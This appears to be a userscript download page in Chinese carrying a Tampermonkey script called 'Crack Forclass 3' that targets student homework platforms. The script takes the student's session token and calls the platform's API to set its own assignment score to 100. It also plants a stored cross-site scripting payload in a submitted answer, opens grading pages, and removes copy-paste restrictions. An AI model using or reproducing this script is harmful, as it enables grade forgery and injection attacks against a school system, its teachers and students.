Crack Forclass 3

这同样适用于 Forclass,Sunclass,271BAY,Zhizhiniao

目前為 2020-11-24 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name               Crack Forclass 3
// @namespace          https://www.forclass.tk/script?3
// @version            1.1.6
// @description        这同样适用于 Forclass,Sunclass,271BAY,Zhizhiniao
// @author             Houtarchat
// @match              *://*.forclass.net/Student/Dajx*
// @match              *://*.271bay.com/Student/Dajx*
// @match              *://web.zhizhiniao.com/Student/Dati*
// @contributionURL    https://www.houtarchat.ml/donate.html
// @contributionAmount 5 RMB
// @grant              none
// @license            GNU General Public License
// ==/UserScript==

(function() {
	"use strict";

	if (self != top) {  
		return;
	}
	g_debugmode = true;
	var aidx = getRequestParamValue("aidx");
	var paidx = getRequestParamValue("paidx");
	if (getRequestParamValue("type") == "5") {
		if (window.confirm("补救&批阅?")) {
			var settings = {
				"url": "http://zzn.sun.forclass.net/ANAService.asmx/UploadAttachmentPaperAnswer2",
				"method": "POST",
				"timeout": 0,
				"headers": {
					"content-type": "application/json; charset=UTF-8"
				},
				"data": "{\"session\":\""+JSON.parse(sessionStorage.account).session+"\",\"page\":1,\"aidx\":\""+aidx+"\",\"studentAnswer\":\"<script>alert('This page has been injected with cross-domain scripting!');</script>\",\"studentAnswerURL\":\"\",\"size\":\"\"}",
			};

			$.ajax(settings).done(function(response) {
				console.log(response);
			});
			
			settings = {
				"url": "http://zzn.sun.forclass.net/ANAService.asmx/SetAssignmentPaperAnswer",
				"method": "POST",
				"timeout": 0,
				"headers": {
					"content-type": "application/json; charset=UTF-8"
				},
				"data": "{\"session\":\""+JSON.parse(sessionStorage.account).session+"\",\"page\":1,\"paIdx\":\""+paidx+"\",\"score\":\"100\",\"comment\":\"\"}",
			};

			$.ajax(settings).done(function(response) {
				console.log(response);
			});
		}
	}
	window.alert("Houtarchat 破解!");
	var datiurl = location.protocol + "//" + location.host + "/Student/Dati?aidx=" + aidx;
	var pgzyurl = location.protocol + "//" + location.host + "/Student/Pgzy?aidx=" + aidx;
	var sd = window.prompt("是否为您打开?\n输入0取消,\n输入1打开答题页面,\n输入2打开批阅页面");
	if (sd !== null && sd != "0") {
		if (sd == "1") {
			window.open(datiurl);
		} else if (sd == "2") {
			window.open(pgzyurl);
		}
	}
	window.onload = function() {
		$(".qoption input,.qoption textarea").unbind("cut copy paste");
	};
})();